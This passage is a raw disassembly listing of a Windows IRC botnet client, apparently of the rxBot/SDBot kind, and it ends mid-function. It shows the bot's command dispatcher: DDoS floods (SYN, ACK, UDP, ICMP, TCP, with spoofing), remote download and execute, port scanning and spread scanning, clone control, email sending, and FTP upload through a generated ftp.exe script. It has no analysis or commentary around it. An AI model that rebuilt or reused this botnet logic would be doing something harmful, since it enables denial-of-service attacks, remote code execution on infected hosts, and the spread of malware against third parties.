loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx

loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------

loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_431E78
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_431E4C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h

loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"

loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_431E1C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_431DF0

loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]

loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43AD10
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43AE1C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43AE18
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43AD98
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43ADE8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_431AA4

loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------

loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_431A4C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40EE72+2A87j
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_4319D4
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_431998

loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D

loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------

loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8

loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_431960
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"

loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43190C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411BE3

loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------

loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_4318C4
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_43187C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43AE88, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_431824
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411CF8

loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------

loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_4317DC
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10

loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch

loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------

loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------

loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx

loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_43176C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411E54

loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------

loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_431724
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
